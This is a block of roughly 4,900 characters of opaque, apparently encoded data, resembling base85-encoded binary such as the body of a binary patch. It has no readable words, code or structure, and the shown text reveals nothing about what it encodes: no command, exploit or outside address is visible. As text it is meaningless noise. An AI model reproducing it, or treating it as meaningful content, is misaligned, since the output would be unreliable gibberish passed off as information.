zpcyB=xvu)PCNG0^&+G!(oIG0=fBdPa@B3t0Xon;}jJ4F9-}G83yxn^2_vs&>vKH6w zIfkqpC|u&>UD;%rYu#Gd=B3uR%0@@^RqXX`^$BZ{qj_he&$OO9Vw^>~W!)&6wmPLo z-99jUN4n?G!Y|kcXMzQG%?KkZ@MXzW9G~vcjEhS2<&VM&t#7 z^^Is69vy#b!R)=7H#diw^lYWChn7vZ zba!bE)|00!PMba>&%!|~mQH68+_VdcKpFCX#n#-4=_gOh|FIWl42+pni1Ow59x~yO zx7VSV`flv~n1v(iPhRMa?rpqyd#~Xe4L%KZ&QC0rOByV5!4X)Eit~i7%wrxoIQa?{j#jSp-@#yG)u)V+WEh{_F5g{8!yS@ zSh#&Ys*`;PR(yB+_I`)qH*2;rXyyCe44H{FHYGzImqVN~pK9f?PCqbkA-LE&w)yAG zIdz#%ainYzl3hL~teJYO-}|cEBRRTPi=Uaz-!6qvXjo=i%$d?2liZ_UFxa&#o}k~4 z;BXd%3OxMyx=%==CfZ*hCCyn-uu-b`VDa(f)NV(Qn#axD_8c92zdNT>tnRyVDzL|u zSa505F>9-v)l>+WWQYcpiF)TcWUdT8JazC^BmcId+sv{;wyguKs|TWw2+FjW6mF07 z40K=OEAKJ63X|E1KTN88o2U4!H8i(6BAMf*0jVtc``RaoCWQ?BnP1=-?tcZN7ld0#U8x7nRHXwL^M z@vyTO0nP?anrgE5{`u(Z`iSF#vK%izF-2(iYlw=b zR}b#`k7?YRgnHe>8)T%;;-!iBz|+&fw7OwV4n1n2Eae zr`tp7(hXnb z3+-T7a~~`NfaWm3;aptY6H{JrIYsK9lEScHY4P%(e||fV8g z=fSe!unP3z2LBU_U(h4V`sPE*$}+66y1+uI%d-`pN4?SMHlzi z<1zr3gQTW`O!5tQ3ZP$Lq!6hk0J#NtO5m5U%ntpBFbO+!taPw85JcL!@C!PoYK*`D zNA94cfZBHqb7MebitAhNRDLLyyr|w#zt?;7z*X1Nmo7S-Bx)!}^NZ#`ie}rj%fdoJ zv)l9Qn5anB@b@EZN2EOr^Bo0ZMRhbN_q7b{wzf~MYcP>IJ^N^GwUcUR{73Hf`Rq*9 z32e-VhDsnzw$|QScwTX0zo;m(!Iy<^*oLxHfX-|KYjGf`8B97oyQ%DdW$~P8moxhL zu8@3|Y@0-g!)3wSLh0&!n-P)^@}pD5wo=!%cuRS^`ulDD-z^1lzoEHP%p^ed?v&x) zNa>D6Z;6>eCi3{^Z0o=f;udYL7f+`<*99e|iq|CzTv8mwRtw(s>L8*NOB{1zpVO`% z2P4FlY#7!rjXj>QsQpAd;(^c~VKXxx*-n?Ya7csq-u6oJ&hlG~IW^sF#@jacGCo!x7gzQ1X)as?G&gp^p2Ria6hr5#P6}n~h z6>dyLIMGL5KW^&%Oene7$QSt!S;~buozwkt+N`@y9yA(!^XP#Ni_ecPXUp$yy2Jf9 zWE1zF+kETPH5l9!yK$mnMP~a=p;O{6ThEwg&Z)EnZ(RL(`$l_t)K)pte)%XeVtQsi zURL8_6pGoVPggvvy)tW3&=S#XzkY(w-uKay9WQqLR5g7|Pj3HYWaPsKa32sLoEqK;O^K<`*#c9C@%dA{~6)bZj2#M zc{fwx?~q!fv$c2NI)5XU(g)~fdcZw`IJ_RZ*^&}{vottsErQRu9~onN}V!bEpnueOw>?J;C6@fP2FCKRYLmPMoawU8$zl0$YLJl;MAN@tltRkE5 zU0ClCkyH{bRwT8{TumsKk>uikyjvPVfnC`04 z@o_bXf&NP-f`;D*ZpC6&w=} zFDzKWNue^c*Y#&W11b|o6@@dwrqX<4T5 zQ#@H~30DqXu(m$bEMP2u@%!k_Zf8WfC}QpnJrBu_2oyFxm5W~d%>J;D%gP2l@y{$y z8aV}pAW-MQZrUT~)<+86gLosS&b0QEn*#TW`FNm{e)>d!8b4Xiy65SznW#z!A&34u z=G)YpB`4K>sg$z+yzpx6`KLy;KN;I|iYNY=e%eX7JkcBc+w4&C`CBQrZ+(^aWM#DP zG)fh_s3L#eIBv$Th4ZlZZ5Q9W)hlk-MGyTpDyt~j_hReZQQx&6@5Hpi8`C$X3=6evX^IyYTrH1@WrfTAs!P& zvBi81V(Z<=l4Vr^i^q{eUOyBie_ zcTWUA2wwgBHDK)=<@dkdhhBC*n52k{+xz0~&#e(u5hB;NYV__6(wx_Qb`H!s2s{v> z;lKgk(jExQNCq{|vhUx%jl8V2mur=zxx!2oB(^J%gk-p+r=`L3Vd=E`zxUuMz5YpZ z6e9W1!#)V6e!JM&U1d3+jO5-PSRom_V<6&o4BYB_MuUN{w}9?Wl&uc3RiarSf+lc3 zTy2#G>~Gr(m&H%!Jm;<~?|R(t_U6ZGEBje@cUnq{%*@c=7S28n`^lKT_vMAPPHAlS z1yS?$T+fW}!y>bQF;Z$3T}sX!b%3saBMACpV1Cpi7#!z$X3?Z?ZQ|}Enx*(?oi}#* zhjt~uNm{yTD8fbuUyAwX|GxhN$O>wj6+9Bo#4AxwwC3U1V2^9oJLm3hW;rzP=VtYiiAGGg#X+$B2_)z-AM{x|62$yH$?UBzH#c*7BRSsZ`a~hw8)d^XKx1$R?KcW=)c~oIPt4yyZ2l5fauLe zD{bSIL5FVy23Yv5?PhOs%QO^8O&c&3ee>=e$y*t`IJx)v)+<##k|d71XzZW$fnXl} z6v!cVSQeFjfrH|Kn}+<%8vXNNOYV%J^o^H3N83xl2pZ)osrRSMyK_f_IUE`$K45_d z63T05xuRN^NP&2#8hM|K=ZC>SN|z0Ofz$4dVB!Wq5Bpy$ssFlq&I4i&MuxU3j1)+D zVlrcAA@n5iB8-d@irh&u#F1~t1Xj>_Zo;GrmIi0fKA(!@PU$9uzeQl%)dBszoRO6Q zzrKL43*p6H))-S!IaCUoVbr-7Ke+!Vmi9XiCit^QmBdvUey*F|^Tb>6fjgIA)&8Cq zJ%MLqiAvqp9y+=f+S=OK3g^Ieag(cq%L*inP*`ru@W)i4pNjs;$Oh6);n@y4^KV$n z1#fM_vV%nOM;SuOQiNm1y;}idyw{zmUm{(&uO_?KwSP$k7D>*swP1hSN=C`{JB_)% zxs&hQgi74&G5Cyu2c!pT7uO&(l7c23^vEqjtRu*%Dczs240sqxV+42`fhf^mS?kbB zef#w#ghpS*w!>ndsGMK&=V9!`%fZWdR~Xf7FU>)E+4dBfL_wC9`N$x|51L+r*z^zf zgt(LxKG8JZ7R={%(?!6Pif?lr-Q+4JK}Lh{uw)+S z9J%%1sG4&q314Q)G_KD`fu#oauQHT$q}`Bx@b%nJTqdNLFVLI7tt5*4#!Y=vau|#) zq#Rv1*-79vVm}Kc!+~rBqklv&-C0l$jqV?Z zgH&qw-6D6z+0G*cI*+IwyG_Xx$wt7t^;R6k#wL5{r9kp6c@1(pT=99paRs2z8P9nX zLKnyOSZws5>*Fo{s**jv2w0YLGnM1I3d$8+{w_e^h7W^a3H&QJ2%k9a41x3v@vo^U z<<>d|7rY8y?_fN_$r#mOcMkkqVSQxpCM_^GWaftx_WM4{xHYZ#vg*aN(F_-;VK+D8~!;FSG z+ywuEczWo6-oG?Qe6R^QLr83-T>L)xpFo3&=0Nbm?{&m&j8!^Cxg1BD+Yo5Rqfko2 zIS7#<wKFGA|Rk6l%q;Vk`DF|l; zpQ?WnvoGFIt@zwqhPHLy*83=|&0jNaQ|1vbz4YhtDcJ$J%r9J~?|60(XkcOkQ(ysV5A({%CK z9-%}OP53Q>kaGh28Pb!3cnSPr=|xiVBuU)1jXGQ_j}-9$CFY*IuU}gK_b6DuM{iF# zWs?C{OoRDTTYra90lq|UR8m5FaR#r-^~uOpwTVgx=`H@uQ83I%o``{Ki=^BsY(k9T z*?;ifwC0#$VVUltq;7xcMi0sXR1}xsFoR2T@DWx6|E(_&EPQx&sRC+SBuhZc zpn`9NXvjgi{!0P%-;@H^q+J&DKOn4%Jzz9(d z6tQYEX-5a0_qDztGs?z9rdw;uiW-N`9lK2FDw+i!R_>f=L4}U)Gqes&(A0uofhR^tdsR z$nQvS+xiDrhju|K9Q^;?|7+LToA6JfuZe`aWw}*_7X9SOlVG;MsXLMM2%wUwD~FGjV-^ebBN0~Go+_j_J`OSGVvO1d zYV37=hF@SuD^gWma8pnGK+G$D=mT6+adC0TFM%@}fB{}yv!k=q>Fk}3GWsdDk|gq~ z770i@ubc~NtnIUlXMjDB791`~>>Ds^F-u1_Ezalh@$YzGYzYG9k~io}j-5Gkrssy# z;TMhhq8JOg44{12CnW_QeH)ZBybRPN|4E2dB{ zl(r`a^}t=3-^Wu3xO%-fE+AG(LZVG{_sQV~JNRDV0t7cX59X$W+Ct<|oW~b@X53y7 z%Oc-s5vKjHsRF=^<82%Wf-KZX7k|Ot;y<^$^yVOyH*~gx^IjevRU_ZJOkTNGcRTwc zU>f)|DQyAw7}N+2c0Vo=#e=siWCOn@73?Gemy63xs)-tBTsuEe=EH8wUXJ!~X%A=m zpQ=(ca3(^6U9@`^f-^Oqn!%3ju>u=iNvVywxi3zh4_=QEv{@55Pn@Vc)Mau@*2Uob z`JcdKa5!xXX@ZF7Ec!a}@~8QLTfh*70=fAOU#m32cu;1m@-k5iX@9oK5bp8CTmMlz z$E#!ZWnp3L?7=S?SJiG8xkKRe=W8JxXkAeycD-n^7r5S;YA7P3HR(^kJ<~F-=ysFxG~(%DRKmpz)z!76h{^s=O=yP8Blw$C)WPS{8$3 z6zRsLe&K>o8w^UXv`yv%-1mUk-ULzAS!%8kq1XUtZ$gmv*(MB!=%J* z5_LMTF)PbmuKYR5YZ*M9nkVi17M8{j-snNWdA>k5;luN*R}^_jO!L{UV-^;H2t`2} z!){D#